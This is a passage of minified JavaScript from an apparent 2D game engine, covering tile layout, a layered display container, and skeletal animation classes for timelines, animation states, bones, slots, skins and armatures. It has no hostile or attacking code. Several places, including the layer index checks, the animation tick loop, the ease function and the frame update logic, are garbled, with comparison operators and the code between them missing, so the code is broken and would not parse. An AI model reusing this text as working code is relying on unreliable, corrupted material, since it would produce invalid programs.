n=isNaN(this._verticalGap)?0:this._verticalGap;if(this.indexInViewCalculated)this.indexInViewCalculated=!1;else{this.calculateRowAndColumn(a,e);if(0==this._rowCount||0==this._columnCount){this.target.setContentSize(k+f,g+l);return}this.adjustForJustify(a,e);this.getIndexInView()}this.useVirtualLayout&&(this.calculateRowAndColumn(a,e),this.adjustForJustify(a,e));if(-1==this.startIndex||-1==this.endIndex)this.target.setContentSize(0,0);else{this.target.setVirtualElementIndicesInView(this.startIndex, this.endIndex);for(var p,q,r,s=this.orientation==c.TileOrientation.COLUMNS,z=this.startIndex,A=this.startIndex;A<=this.endIndex;A++)p=this.useVirtualLayout?this.target.getVirtualElementAt(A):this.target.getElementAt(A),null!=p&&p.includeInLayout&&(s?(q=Math.ceil((z+1)/this._rowCount)-1,r=Math.ceil((z+1)%this._rowCount)-1,-1==r&&(r=this._rowCount-1)):(q=Math.ceil((z+1)%this._columnCount)-1,-1==q&&(q=this._columnCount-1),r=Math.ceil((z+1)/this._columnCount)-1),q=q*(this._columnWidth+m)+k,r=r*(this._rowHeight+ n)+g,this.sizeAndPositionElement(p,q,r,this._columnWidth,this.rowHeight),z++);g+=l;n=(this._rowHeight+n)*this._rowCount-n;this.target.setContentSize(Math.ceil((this._columnWidth+m)*this._columnCount-m+(k+f)),Math.ceil(n+g))}}};a.prototype.sizeAndPositionElement=function(a,d,e,k,f){var g=NaN,l=NaN;this.horizontalAlign==c.HorizontalAlign.JUSTIFY?g=k:isNaN(a.percentWidth)||(g=k*a.percentWidth*0.01);this.verticalAlign==c.VerticalAlign.JUSTIFY?l=f:isNaN(a.percentHeight)||(l=f*a.percentHeight*0.01);a.setLayoutBoundsSize(Math.round(g), Math.round(l));g=d;switch(this.horizontalAlign){case c.HorizontalAlign.RIGHT:g+=k-a.layoutBoundsWidth;break;case c.HorizontalAlign.CENTER:g=d+(k-a.layoutBoundsWidth)/2}d=e;switch(this.verticalAlign){case c.VerticalAlign.BOTTOM:d+=f-a.layoutBoundsHeight;break;case c.VerticalAlign.MIDDLE:d+=(f-a.layoutBoundsHeight)/2}a.setLayoutBoundsPosition(Math.round(g),Math.round(d))};a.prototype.adjustForJustify=function(a,d){var e=isNaN(this._padding)?0:this._padding,k=isNaN(this._paddingLeft)?e:this._paddingLeft, f=isNaN(this._paddingRight)?e:this._paddingRight,g=isNaN(this._paddingTop)?e:this._paddingTop,e=isNaN(this._paddingBottom)?e:this._paddingBottom,k=Math.max(0,a-k-f),g=Math.max(0,d-g-e);isNaN(this.explicitVerticalGap)||(this._verticalGap=this.explicitVerticalGap);isNaN(this.explicitHorizontalGap)||(this._horizontalGap=this.explicitHorizontalGap);this._verticalGap=isNaN(this._verticalGap)?0:this._verticalGap;this._horizontalGap=isNaN(this._horizontalGap)?0:this._horizontalGap;g-=this._rowHeight*this._rowCount; k-=this._columnWidth*this._columnCount;0=this._noTopMostIndex&&e=this._topMostIndex&&ethis._noTopMostIndex&&c<=this._topMostIndex?this.topMostIndex++:c>this._topMostIndex&&c<=this._toolTipIndex?this.toolTipIndex++:this.cursorIndex++;return d.prototype.addElementAt.call(this,a,c)};a.prototype.removeElement=function(a){return this.removeElementAt(d.prototype.getElementIndex.call(this,a))};a.prototype.removeElementAt=function(a){var c=d.prototype.removeElementAt.call(this,a);a=this._noTopMostIndex&&a=this._topMostIndex&&a=this._noTopMostIndex&&e=this._topMostIndex&&ea){var b=0.001*(new Date).getTime();a=b-this.time;this.time=b}a*=this.timeScale;b=this._animatableList.length;if(0!=b){for(var c=0,d=0;d a._pool.indexOf(b)&&(a._pool[a._pool.length]=b);b.clear()};a._clear=function(){for(var b=a._pool.length;b--;)a._pool[b].clear();a._pool.length=0};a.getEaseValue=function(b,c){if(1c&&(d=1-Math.cos(b*a.HALF_PI)-b,c*=-1);return d*c+b};a.prototype.fadeIn=function(a,b,c){this._bone=a;this._animationState=b;this._timeline=c;this._originTransform=this._timeline.originTransform;this._originPivot=this._timeline.originPivot;this._tweenColor= this._tweenTransform=!1;this._totalTime=this._animationState.totalTime;this.transform.x=0;this.transform.y=0;this.transform.scaleX=0;this.transform.scaleY=0;this.transform.skewX=0;this.transform.skewY=0;this.pivot.x=0;this.pivot.y=0;this._durationTransform.x=0;this._durationTransform.y=0;this._durationTransform.scaleX=0;this._durationTransform.scaleY=0;this._durationTransform.skewX=0;this._durationTransform.skewY=0;this._durationPivot.x=0;this._durationPivot.y=0;this._currentFrame=null;switch(this._timeline.getFrameList().length){case 0:this._bone._arriveAtFrame(null, this,this._animationState,!1);this._updateState=0;break;case 1:this._updateState=-1;break;default:this._updateState=1}};a.prototype.fadeOut=function(){this.transform.skewX=h.TransformUtil.formatRadian(this.transform.skewX);this.transform.skewY=h.TransformUtil.formatRadian(this.transform.skewY)};a.prototype.update=function(b){if(this._updateState)if(0this._currentFramePosition+this._currentFrameDuration||d=this._timeline.getFrameList().length&&(f=0),this._currentFrame=this._timeline.getFrameList()[f]):(f=0,this._currentFrame=this._timeline.getFrameList()[0]),this._currentFrameDuration=this._currentFrame.duration, this._currentFramePosition=this._currentFrame.position;e&&(this.tweenActive=0<=this._currentFrame.displayIndex,f++,f>=this._timeline.getFrameList().length&&(f=0),e=this._timeline.getFrameList()[f],0==f&&this._animationState.loop&&this._animationState.loopCount>=Math.abs(this._animationState.loop)-1&&0.99999999<((this._currentFramePosition+this._currentFrameDuration)/this._totalTime+c-this._timeline.offset)*this._timeline.scale?(this._updateState=0,this._tweenEasing=NaN):0>this._currentFrame.displayIndex|| 0>e.displayIndex||!this._animationState.tweenEnabled?this._tweenEasing=NaN:isNaN(this._animationState.clip.tweenEasing)?this._tweenEasing=this._currentFrame.tweenEasing:this._tweenEasing=this._animationState.clip.tweenEasing,isNaN(this._tweenEasing)?this._tweenColor=this._tweenTransform=!1:(this._durationTransform.x=e.transform.x-this._currentFrame.transform.x,this._durationTransform.y=e.transform.y-this._currentFrame.transform.y,this._durationTransform.skewX=e.transform.skewX-this._currentFrame.transform.skewX, this._durationTransform.skewY=e.transform.skewY-this._currentFrame.transform.skewY,this._durationTransform.scaleX=e.transform.scaleX-this._currentFrame.transform.scaleX,this._durationTransform.scaleY=e.transform.scaleY-this._currentFrame.transform.scaleY,0==f&&(this._durationTransform.skewX=h.TransformUtil.formatRadian(this._durationTransform.skewX),this._durationTransform.skewY=h.TransformUtil.formatRadian(this._durationTransform.skewY)),this._durationPivot.x=e.pivot.x-this._currentFrame.pivot.x, this._durationPivot.y=e.pivot.y-this._currentFrame.pivot.y,this._tweenTransform=0!=this._durationTransform.x||0!=this._durationTransform.y||0!=this._durationTransform.skewX||0!=this._durationTransform.skewY||0!=this._durationTransform.scaleX||0!=this._durationTransform.scaleY||0!=this._durationPivot.x||0!=this._durationPivot.y?!0:!1,this._currentFrame.color&&e.color?(this._durationColor.alphaOffset=e.color.alphaOffset-this._currentFrame.color.alphaOffset,this._durationColor.redOffset=e.color.redOffset- this._currentFrame.color.redOffset,this._durationColor.greenOffset=e.color.greenOffset-this._currentFrame.color.greenOffset,this._durationColor.blueOffset=e.color.blueOffset-this._currentFrame.color.blueOffset,this._durationColor.alphaMultiplier=e.color.alphaMultiplier-this._currentFrame.color.alphaMultiplier,this._durationColor.redMultiplier=e.color.redMultiplier-this._currentFrame.color.redMultiplier,this._durationColor.greenMultiplier=e.color.greenMultiplier-this._currentFrame.color.greenMultiplier, this._durationColor.blueMultiplier=e.color.blueMultiplier-this._currentFrame.color.blueMultiplier,this._tweenColor=0!=this._durationColor.alphaOffset||0!=this._durationColor.redOffset||0!=this._durationColor.greenOffset||0!=this._durationColor.blueOffset||0!=this._durationColor.alphaMultiplier||0!=this._durationColor.redMultiplier||0!=this._durationColor.greenMultiplier||0!=this._durationColor.blueMultiplier?!0:!1):this._currentFrame.color?(this._tweenColor=!0,this._durationColor.alphaOffset=-this._currentFrame.color.alphaOffset, this._durationColor.redOffset=-this._currentFrame.color.redOffset,this._durationColor.greenOffset=-this._currentFrame.color.greenOffset,this._durationColor.blueOffset=-this._currentFrame.color.blueOffset,this._durationColor.alphaMultiplier=1-this._currentFrame.color.alphaMultiplier,this._durationColor.redMultiplier=1-this._currentFrame.color.redMultiplier,this._durationColor.greenMultiplier=1-this._currentFrame.color.greenMultiplier,this._durationColor.blueMultiplier=1-this._currentFrame.color.blueMultiplier): e.color?(this._tweenColor=!0,this._durationColor.alphaOffset=e.color.alphaOffset,this._durationColor.redOffset=e.color.redOffset,this._durationColor.greenOffset=e.color.greenOffset,this._durationColor.blueOffset=e.color.blueOffset,this._durationColor.alphaMultiplier=e.color.alphaMultiplier-1,this._durationColor.redMultiplier=e.color.redMultiplier-1,this._durationColor.greenMultiplier=e.color.greenMultiplier-1,this._durationColor.blueMultiplier=e.color.blueMultiplier-1):this._tweenColor=!1),this._tweenTransform|| (this._animationState.blend?(this.transform.x=this._originTransform.x+this._currentFrame.transform.x,this.transform.y=this._originTransform.y+this._currentFrame.transform.y,this.transform.skewX=this._originTransform.skewX+this._currentFrame.transform.skewX,this.transform.skewY=this._originTransform.skewY+this._currentFrame.transform.skewY,this.transform.scaleX=this._originTransform.scaleX+this._currentFrame.transform.scaleX,this.transform.scaleY=this._originTransform.scaleY+this._currentFrame.transform.scaleY, this.pivot.x=this._originPivot.x+this._currentFrame.pivot.x,this.pivot.y=this._originPivot.y+this._currentFrame.pivot.y):(this.transform.x=this._currentFrame.transform.x,this.transform.y=this._currentFrame.transform.y,this.transform.skewX=this._currentFrame.transform.skewX,this.transform.skewY=this._currentFrame.transform.skewY,this.transform.scaleX=this._currentFrame.transform.scaleX,this.transform.scaleY=this._currentFrame.transform.scaleY,this.pivot.x=this._currentFrame.pivot.x,this.pivot.y=this._currentFrame.pivot.y)), this._tweenColor||(this._currentFrame.color?this._bone._updateColor(this._currentFrame.color.alphaOffset,this._currentFrame.color.redOffset,this._currentFrame.color.greenOffset,this._currentFrame.color.blueOffset,this._currentFrame.color.alphaMultiplier,this._currentFrame.color.redMultiplier,this._currentFrame.color.greenMultiplier,this._currentFrame.color.blueMultiplier,!0):this._bone._isColorChanged&&this._bone._updateColor(0,0,0,0,1,1,1,1,!1)),this._bone._arriveAtFrame(this._currentFrame,this, this._animationState,!1));if(this._tweenTransform||this._tweenColor)b=(d-this._currentFramePosition)/this._currentFrameDuration,this._tweenEasing&&(b=a.getEaseValue(b,this._tweenEasing));this._tweenTransform&&(c=this._currentFrame.transform,d=this._currentFrame.pivot,this._animationState.blend?(this.transform.x=this._originTransform.x+c.x+this._durationTransform.x*b,this.transform.y=this._originTransform.y+c.y+this._durationTransform.y*b,this.transform.skewX=this._originTransform.skewX+c.skewX+this._durationTransform.skewX* b,this.transform.skewY=this._originTransform.skewY+c.skewY+this._durationTransform.skewY*b,this.transform.scaleX=this._originTransform.scaleX+c.scaleX+this._durationTransform.scaleX*b,this.transform.scaleY=this._originTransform.scaleY+c.scaleY+this._durationTransform.scaleY*b,this.pivot.x=this._originPivot.x+d.x+this._durationPivot.x*b,this.pivot.y=this._originPivot.y+d.y+this._durationPivot.y*b):(this.transform.x=c.x+this._durationTransform.x*b,this.transform.y=c.y+this._durationTransform.y*b,this.transform.skewX= c.skewX+this._durationTransform.skewX*b,this.transform.skewY=c.skewY+this._durationTransform.skewY*b,this.transform.scaleX=c.scaleX+this._durationTransform.scaleX*b,this.transform.scaleY=c.scaleY+this._durationTransform.scaleY*b,this.pivot.x=d.x+this._durationPivot.x*b,this.pivot.y=d.y+this._durationPivot.y*b));this._tweenColor&&(this._currentFrame.color?this._bone._updateColor(this._currentFrame.color.alphaOffset+this._durationColor.alphaOffset*b,this._currentFrame.color.redOffset+this._durationColor.redOffset* b,this._currentFrame.color.greenOffset+this._durationColor.greenOffset*b,this._currentFrame.color.blueOffset+this._durationColor.blueOffset*b,this._currentFrame.color.alphaMultiplier+this._durationColor.alphaMultiplier*b,this._currentFrame.color.redMultiplier+this._durationColor.redMultiplier*b,this._currentFrame.color.greenMultiplier+this._durationColor.greenMultiplier*b,this._currentFrame.color.blueMultiplier+this._durationColor.blueMultiplier*b,!0):this._bone._updateColor(this._durationColor.alphaOffset* b,this._durationColor.redOffset*b,this._durationColor.greenOffset*b,this._durationColor.blueOffset*b,1+this._durationColor.alphaMultiplier*b,1+this._durationColor.redMultiplier*b,1+this._durationColor.greenMultiplier*b,1+this._durationColor.blueMultiplier*b,!0))}else this._updateState=0,this._animationState.blend?(this.transform.copy(this._originTransform),this.pivot.x=this._originPivot.x,this.pivot.y=this._originPivot.y):(this.transform.x=this.transform.y=this.transform.skewX=this.transform.skewY= this.transform.scaleX=this.transform.scaleY=0,this.pivot.x=0,this.pivot.y=0),this._currentFrame=this._timeline.getFrameList()[0],this.tweenActive=0<=this._currentFrame.displayIndex,this._currentFrame.color?this._bone._updateColor(this._currentFrame.color.alphaOffset,this._currentFrame.color.redOffset,this._currentFrame.color.greenOffset,this._currentFrame.color.blueOffset,this._currentFrame.color.alphaMultiplier,this._currentFrame.color.redMultiplier,this._currentFrame.color.greenMultiplier,this._currentFrame.color.blueMultiplier, !0):this._bone._updateColor(0,0,0,0,1,1,1,1,!1),this._bone._arriveAtFrame(this._currentFrame,this,this._animationState,!1)};a.prototype.clear=function(){this._updateState=0;this._originPivot=this._originTransform=this._currentFrame=this._timeline=this._animationState=this._bone=null};a.HALF_PI=0.5*Math.PI;a._pool=[];return a}();a.TimelineState=f;var m=function(){function a(){this.layer=this.loop=0;this._timelineStates={}}a._borrowObject=function(){return 0==a._pool.length?new a:a._pool.pop()};a._returnObject= function(b){0>a._pool.indexOf(b)&&(a._pool[a._pool.length]=b);b.clear()};a._clear=function(){for(var b=a._pool.length;b--;)a._pool[b].clear();a._pool.length=0};a.prototype.fadeIn=function(a,b,c,d,e,h,f,m){this.layer=h;this.clip=b;this.name=this.clip.name;this.totalTime=this.clip.duration;this._armature=a;2>Math.round(this.clip.duration*this.clip.frameRate)||Infinity==d?(this.timeScale=1,this.currentTime=this.totalTime,this.loop=0<=this.loop?1:-1):(this.timeScale=d,this.currentTime=0,this.loop=e); this._pauseBeforeFadeInComplete=m;this._fadeInTime=c*this.timeScale;this._fadeState=1;this._fadeOutBeginTime=0;this._fadeOutWeight=-1;this._fadeWeight=0;this._fadeIn=!0;this._fadeOut=!1;this.loopCount=-1;this.displayControl=f;this.isPlaying=!0;this.isComplete=!1;this.weight=1;this.tweenEnabled=this.enabled=this.blend=!0;this.updateTimelineStates()};a.prototype.fadeOut=function(a,b){"undefined"===typeof b&&(b=!1);if(this._armature&&!(0<=this._fadeOutWeight)){this._fadeState=-1;this._fadeOutWeight= this._fadeWeight;this._fadeOutTime=a*this.timeScale;this._fadeOutBeginTime=this.currentTime;this._fadeOut=!0;this.isPlaying=!b;this.displayControl=!1;for(var c in this._timelineStates)this._timelineStates[c].fadeOut();this.enabled=!0}};a.prototype.play=function(){this.isPlaying=!0};a.prototype.stop=function(){this.isPlaying=!1};a.prototype.getMixingTransform=function(a){return this._mixingTransforms?Number(this._mixingTransforms[a]):-1};a.prototype.addMixingTransform=function(a,b,c){"undefined"=== typeof b&&(b=2);"undefined"===typeof c&&(c=!0);if(this.clip&&this.clip.getTimeline(a)){this._mixingTransforms||(this._mixingTransforms={});if(c){c=this._armature._boneList.length;for(var d,e;c--;)d=this._armature._boneList[c],d.name==a&&(e=d),e&&(e==d||e.contains(d))&&(this._mixingTransforms[d.name]=b)}else this._mixingTransforms[a]=b;this.updateTimelineStates()}else throw Error();};a.prototype.removeMixingTransform=function(a,b){"undefined"===typeof a&&(a=null);"undefined"===typeof b&&(b=!0);if(a){if(b)for(var c= this._armature._boneList.length,d,e;c--;)d=this._armature._boneList[c],d.name==a&&(e=d),e&&(e==d||e.contains(d))&&delete this._mixingTransforms[d.name];else delete this._mixingTransforms[a];for(var h in this._mixingTransforms){var f=!0;break}f||(this._mixingTransforms=null)}else this._mixingTransforms=null;this.updateTimelineStates()};a.prototype.advanceTime=function(a){if(!this.enabled)return!1;var b,c;this._fadeIn&&(this._fadeIn=!1,this._armature.hasEventListener(d.AnimationEvent.FADE_IN)&&(b=new d.AnimationEvent(d.AnimationEvent.FADE_IN), b.animationState=this,this._armature._eventList.push(b)));this._fadeOut&&(this._fadeOut=!1,this._armature.hasEventListener(d.AnimationEvent.FADE_OUT)&&(b=new d.AnimationEvent(d.AnimationEvent.FADE_OUT),b.animationState=this,this._armature._eventList.push(b)));this.currentTime+=a*this.timeScale;if(this.isPlaying&&!this.isComplete){var e;if(this._pauseBeforeFadeInComplete)this.isPlaying=this._pauseBeforeFadeInComplete=!1,a=0,e=Math.floor(a);else if(a=this.currentTime/this.totalTime,e=Math.floor(a), e!=this.loopCount&&(-1==this.loopCount&&this._armature.hasEventListener(d.AnimationEvent.START)&&(b=new d.AnimationEvent(d.AnimationEvent.START),b.animationState=this,this._armature._eventList.push(b)),this.loopCount=e))this.loop&&this.loopCount*this.loopCount>=this.loop*this.loop-1?(c=!0,a=1,e=0,this._armature.hasEventListener(d.AnimationEvent.COMPLETE)&&(b=new d.AnimationEvent(d.AnimationEvent.COMPLETE),b.animationState=this,this._armature._eventList.push(b))):this._armature.hasEventListener(d.AnimationEvent.LOOP_COMPLETE)&& (b=new d.AnimationEvent(d.AnimationEvent.LOOP_COMPLETE),b.animationState=this,this._armature._eventList.push(b));for(var h in this._timelineStates)this._timelineStates[h].update(a);b=this.clip.getFrameList();if(0this._currentFrame.position+this._currentFrame.duration||a=b.length&& (h=0),this._currentFrame=b[h]):this._currentFrame=b[0];e&&this._armature._arriveAtFrame(this._currentFrame,null,this,!1)}}if(0this._fadeState){if(0==this._fadeOutTime)return this._fadeState=this._fadeWeight=0,this._armature.hasEventListener(d.AnimationEvent.FADE_OUT_COMPLETE)&&(b=new d.AnimationEvent(d.AnimationEvent.FADE_OUT_COMPLETE),b.animationState=this, this._armature._eventList.push(b)),!0;this._fadeWeight=(1-(this.currentTime-this._fadeOutBeginTime)/this._fadeOutTime)*this._fadeOutWeight;if(0>=this._fadeWeight)return this._fadeState=this._fadeWeight=0,this._armature.hasEventListener(d.AnimationEvent.FADE_OUT_COMPLETE)&&(b=new d.AnimationEvent(d.AnimationEvent.FADE_OUT_COMPLETE),b.animationState=this,this._armature._eventList.push(b)),!0}c&&(this.isComplete=!0,0>this.loop&&this.fadeOut((this._fadeOutWeight||this._fadeInTime)/this.timeScale,!0)); return!1};a.prototype.updateTimelineStates=function(){if(this._mixingTransforms){for(var a in this._timelineStates)null==this._mixingTransforms[a]&&this.removeTimelineState(a);for(a in this._mixingTransforms)this._timelineStates[a]||this.addTimelineState(a)}else for(a in this.clip.getTimelines())this._timelineStates[a]||this.addTimelineState(a)};a.prototype.addTimelineState=function(a){var b=this._armature.getBone(a);if(b){var c=f._borrowObject(),d=this.clip.getTimeline(a);c.fadeIn(b,this,d);this._timelineStates[a]= c}};a.prototype.removeTimelineState=function(a){f._returnObject(this._timelineStates[a]);delete this._timelineStates[a]};a.prototype.clear=function(){this.clip=null;this.enabled=!1;this._mixingTransforms=this._currentFrame=this._armature=null;for(var a in this._timelineStates)this.removeTimelineState(a)};a._pool=[];return a}();a.AnimationState=m;c=function(){function a(b){this._armature=b;this._animationLayer=[];this._isPlaying=!1;this.animationNameList=[];this.tweenEnabled=!0;this.timeScale=1}a.prototype.getLastAnimationName= function(){return this._lastAnimationState?this._lastAnimationState.name:null};a.prototype.getLastAnimationState=function(){return this._lastAnimationState};a.prototype.getAnimationDataList=function(){return this._animationDataList};a.prototype.setAnimationDataList=function(a){this._animationDataList=a;this.animationNameList.length=0;for(var b in this._animationDataList)this.animationNameList[this.animationNameList.length]=this._animationDataList[b].name};a.prototype.getIsPlaying=function(){return this._isPlaying&& !this.getIsComplete()};a.prototype.getIsComplete=function(){if(this._lastAnimationState){if(!this._lastAnimationState.isComplete)return!1;for(var a=this._animationLayer.length;a--;)for(var b=this._animationLayer[a],c=b.length;c--;)if(!b[c].isComplete)return!1;return!0}return!1};a.prototype.dispose=function(){if(this._armature){this.stop();for(var a=this._animationLayer.length;a--;){for(var b=this._animationLayer[a],c=b.length;c--;)m._returnObject(b[c]);b.length=0}this._animationLayer.length=0;this.animationNameList.length= 0;this.animationNameList=this._animationDataList=this._animationLayer=this._armature=null}};a.prototype.gotoAndPlay=function(b,c,d,e,h,f,k,l,g,p){"undefined"===typeof c&&(c=-1);"undefined"===typeof d&&(d=-1);"undefined"===typeof e&&(e=NaN);"undefined"===typeof h&&(h=0);"undefined"===typeof f&&(f=null);"undefined"===typeof k&&(k=a.SAME_LAYER_AND_GROUP);"undefined"===typeof l&&(l=!0);"undefined"===typeof g&&(g=!0);"undefined"===typeof p&&(p=!0);if(!this._animationDataList)return null;for(var n=this._animationDataList.length, x;n--;)if(this._animationDataList[n].name==b){x=this._animationDataList[n];break}if(!x)return null;this._isPlaying=!0;c=0>c?0>x.fadeInTime?0.3:x.fadeInTime:c;d=0>d?0>x.scale?1:x.scale:d/x.duration;e=isNaN(e)?x.loop:e;h=this.addLayer(h);var y;switch(k){case a.NONE:break;case a.SAME_LAYER:y=this._animationLayer[h];for(n=y.length;n--;)k=y[n],k.fadeOut(c,g);break;case a.SAME_GROUP:for(H=this._animationLayer.length;H--;)for(y=this._animationLayer[H],n=y.length;n--;)k=y[n],k.group==f&&k.fadeOut(c,g);break; case a.ALL:for(var H=this._animationLayer.length;H--;)for(y=this._animationLayer[H],n=y.length;n--;)k=y[n],k.fadeOut(c,g);break;default:for(y=this._animationLayer[h],n=y.length;n--;)k=y[n],k.group==f&&k.fadeOut(c,g)}this._lastAnimationState=m._borrowObject();this._lastAnimationState.group=f;this._lastAnimationState.tweenEnabled=this.tweenEnabled;this._lastAnimationState.fadeIn(this._armature,x,c,1/d,e,h,l,p);this.addState(this._lastAnimationState);e=this._armature._slotList;for(n=e.length;n--;)h= e[n],(h=h.getChildArmature())&&h.animation.gotoAndPlay(b,c);return this._lastAnimationState};a.prototype.play=function(){this._animationDataList&&0!=this._animationDataList.length&&(this._lastAnimationState?this._isPlaying?this.gotoAndPlay(this._lastAnimationState.name):this._isPlaying=!0:this.gotoAndPlay(this._animationDataList[0].name))};a.prototype.stop=function(){this._isPlaying=!1};a.prototype.getState=function(a,b){"undefined"===typeof b&&(b=0);var c=this._animationLayer.length;if(0==c)return null; b>=c&&(b=c-1);c=this._animationLayer[b];if(!c)return null;for(var d=c.length;d--;)if(c[d].name==a)return c[d];return null};a.prototype.hasAnimation=function(a){for(var b=this._animationDataList.length;b--;)if(this._animationDataList[b].name==a)return!0;return!1};a.prototype.advanceTime=function(a){if(this._isPlaying){a*=this.timeScale;var b=this._armature._boneList.length,c,d,e=b,h,f,m,k,l,g,p,q,n,r,G,M,J,N,F,K,I;for(b--;e--;){f=this._armature._boneList[e];m=f.name;k=1;M=G=r=n=q=p=g=l=0;for(c=this._animationLayer.length;c--;){J= 0;N=this._animationLayer[c];h=N.length;for(d=0;d=k)break;else k-=J}I=f.tween;K=f._tweenPivot;I.x=l;I.y=g;I.skewX=p;I.skewY=q;I.scaleX=n;I.scaleY=r;K.x=G;K.y=M}}};a.prototype.addLayer=function(a){a>=this._animationLayer.length&&(a=this._animationLayer.length, this._animationLayer[a]=[]);return a};a.prototype.addState=function(a){this._animationLayer[a.layer].push(a)};a.prototype.removeState=function(a){var b=a.layer,c=this._animationLayer[b];c.splice(c.indexOf(a),1);m._returnObject(a);0==c.length&&b==this._animationLayer.length-1&&this._animationLayer.length--};a.NONE="none";a.SAME_LAYER="sameLayer";a.SAME_GROUP="sameGroup";a.SAME_LAYER_AND_GROUP="sameLayerAndGroup";a.ALL="all";return a}();a.Animation=c})(c.animation||(c.animation={}));var a=c.animation; (function(a){var b=function(){function a(){this.skewY=this.skewX=this.y=this.x=0;this.scaleY=this.scaleX=1}a.prototype.getRotation=function(){return this.skewX};a.prototype.setRotation=function(a){this.skewX=this.skewY=a};a.prototype.copy=function(a){this.x=a.x;this.y=a.y;this.skewX=a.skewX;this.skewY=a.skewY;this.scaleX=a.scaleX;this.scaleY=a.scaleY};a.prototype.toString=function(){return"[DBTransform (x="+this.x+" y="+this.y+" skewX="+this.skewX+" skewY="+this.skewY+" scaleX="+this.scaleX+" scaleY="+ this.scaleY+")]"};return a}();a.DBTransform=b;var c=function(){function a(){this.duration=this.position=0}a.prototype.dispose=function(){};return a}();a.Frame=c;var d=function(a){function c(){a.call(this);this.displayIndex=this.tweenRotate=this.tweenEasing=0;this.zOrder=NaN;this.visible=!0;this.global=new b;this.transform=new b;this.pivot=new e.Point}__extends(c,a);c.prototype.dispose=function(){a.prototype.dispose.call(this);this.color=this.pivot=this.transform=this.global=null};return c}(c);a.TransformFrame= d;var f=function(){function a(){this._frameList=[];this.duration=0;this.scale=1}a.prototype.getFrameList=function(){return this._frameList};a.prototype.dispose=function(){for(var a=this._frameList.length;a--;)this._frameList[a].dispose();this._frameList.length=0;this._frameList=null};a.prototype.addFrame=function(a){if(!a)throw Error();if(0>this._frameList.indexOf(a))this._frameList[this._frameList.length]=a;else throw Error();};return a}();a.Timeline=f;var k=function(a){function c(){a.call(this); this.originTransform=new b;this.originPivot=new e.Point;this.offset=0;this.transformed=!1}__extends(c,a);c.prototype.dispose=function(){this!=c.HIDE_TIMELINE&&(a.prototype.dispose.call(this),this.originPivot=this.originTransform=null)};c.HIDE_TIMELINE=new c;return c}(f);a.TransformTimeline=k;var m=function(a){function b(){a.call(this);this.loop=this.frameRate=0;this.tweenEasing=NaN;this.fadeInTime=0;this._timelines={}}__extends(b,a);b.prototype.getTimelines=function(){return this._timelines};b.prototype.dispose= function(){a.prototype.dispose.call(this);for(var b in this._timelines)this._timelines[b].dispose();this._timelines=null};b.prototype.getTimeline=function(a){return this._timelines[a]};b.prototype.addTimeline=function(a,b){if(!a)throw Error();this._timelines[b]=a};return b}(f);a.AnimationData=m;var g=function(){function a(){this.transform=new b}a.prototype.dispose=function(){this.pivot=this.transform=null};a.ARMATURE="armature";a.IMAGE="image";return a}();a.DisplayData=g;var v=function(){function a(){this._displayDataList= [];this.zOrder=0;this.blendMode="normal"}a.prototype.getDisplayDataList=function(){return this._displayDataList};a.prototype.dispose=function(){for(var a=this._displayDataList.length;a--;)this._displayDataList[a].dispose();this._displayDataList.length=0;this._displayDataList=null};a.prototype.addDisplayData=function(a){if(!a)throw Error();if(0>this._displayDataList.indexOf(a))this._displayDataList[this._displayDataList.length]=a;else throw Error();};a.prototype.getDisplayData=function(a){for(var b= this._displayDataList.length;b--;)if(this._displayDataList[b].name==a)return this._displayDataList[b];return null};return a}();a.SlotData=v;var B=function(){function a(){this.length=0;this.global=new b;this.transform=new b;this.scaleMode=1;this.fixedRotation=!1}a.prototype.dispose=function(){this.transform=this.global=null};return a}();a.BoneData=B;var C=function(){function a(){this._slotDataList=[]}a.prototype.getSlotDataList=function(){return this._slotDataList};a.prototype.dispose=function(){for(var a= this._slotDataList.length;a--;)this._slotDataList[a].dispose();this._slotDataList.length=0;this._slotDataList=null};a.prototype.getSlotData=function(a){for(var b=this._slotDataList.length;b--;)if(this._slotDataList[b].name==a)return this._slotDataList[b];return null};a.prototype.addSlotData=function(a){if(!a)throw Error();if(0>this._slotDataList.indexOf(a))this._slotDataList[this._slotDataList.length]=a;else throw Error();};return a}();a.SkinData=C;var t=function(){function a(){this._boneDataList= [];this._skinDataList=[];this._animationDataList=[]}a.prototype.getBoneDataList=function(){return this._boneDataList};a.prototype.getSkinDataList=function(){return this._skinDataList};a.prototype.getAnimationDataList=function(){return this._animationDataList};a.prototype.dispose=function(){for(var a=this._boneDataList.length;a--;)this._boneDataList[a].dispose();for(a=this._skinDataList.length;a--;)this._skinDataList[a].dispose();for(a=this._animationDataList.length;a--;)this._animationDataList[a].dispose(); this._boneDataList.length=0;this._skinDataList.length=0;this._animationDataList.length=0;this._animationDataList=this._skinDataList=this._boneDataList=null};a.prototype.getBoneData=function(a){for(var b=this._boneDataList.length;b--;)if(this._boneDataList[b].name==a)return this._boneDataList[b];return null};a.prototype.getSkinData=function(a){if(!a)return this._skinDataList[0];for(var b=this._skinDataList.length;b--;)if(this._skinDataList[b].name==a)return this._skinDataList[b];return null};a.prototype.getAnimationData= function(a){for(var b=this._animationDataList.length;b--;)if(this._animationDataList[b].name==a)return this._animationDataList[b];return null};a.prototype.addBoneData=function(a){if(!a)throw Error();if(0>this._boneDataList.indexOf(a))this._boneDataList[this._boneDataList.length]=a;else throw Error();};a.prototype.addSkinData=function(a){if(!a)throw Error();if(0>this._skinDataList.indexOf(a))this._skinDataList[this._skinDataList.length]=a;else throw Error();};a.prototype.addAnimationData=function(a){if(!a)throw Error(); 0>this._animationDataList.indexOf(a)&&(this._animationDataList[this._animationDataList.length]=a)};a.prototype.sortBoneDataList=function(){var a=this._boneDataList.length;if(0!=a){for(var b=[];a--;){for(var c=this._boneDataList[a],d=0,e=c;e&&e.parent;)d++,e=this.getBoneData(e.parent);b[a]={level:d,boneData:c}}b.sort(this.sortBoneData);for(a=b.length;a--;)this._boneDataList[a]=b[a].boneData}};a.prototype.sortBoneData=function(a,b){return a.level>b.level?1:-1};return a}();a.ArmatureData=t;var u=function(){function a(){this._armatureDataList= [];this._subTexturePivots={}}a.prototype.getArmatureNames=function(){var a=[],b;for(b in this._armatureDataList)a[a.length]=this._armatureDataList[b].name;return a};a.prototype.getArmatureDataList=function(){return this._armatureDataList};a.prototype.dispose=function(){for(var a in this._armatureDataList)this._armatureDataList[a].dispose();this._armatureDataList.length=0;this._subTexturePivots=this._armatureDataList=null};a.prototype.getArmatureData=function(a){for(var b=this._armatureDataList.length;b--;)if(this._armatureDataList[b].name== a)return this._armatureDataList[b];return null};a.prototype.addArmatureData=function(a){if(!a)throw 